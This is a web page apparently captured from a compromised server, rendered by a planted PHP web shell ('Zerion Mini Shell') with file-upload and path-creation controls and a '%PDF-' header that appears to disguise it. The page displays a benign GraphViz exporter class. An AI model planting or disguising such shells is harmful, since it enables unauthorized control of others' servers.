%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/vendor/graphp/graphviz/src/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/vendor/graphp/graphviz/src/Dot.php

<?php

namespace Graphp\GraphViz;

use Graphp\GraphViz\GraphViz;
use Fhaculty\Graph\Graph;
use Fhaculty\Graph\Exporter\ExporterInterface;

class Dot implements ExporterInterface
{
    private $graphviz;

    public function __construct(GraphViz $graphviz = null)
    {
        if ($graphviz === null) {
            $graphviz = new GraphViz();
        }

        $this->graphviz = $graphviz;
    }

    public function getOutput(Graph $graph)
    {
        return $this->graphviz->createScript($graph);
    }
}

Zerion Mini Shell 1.0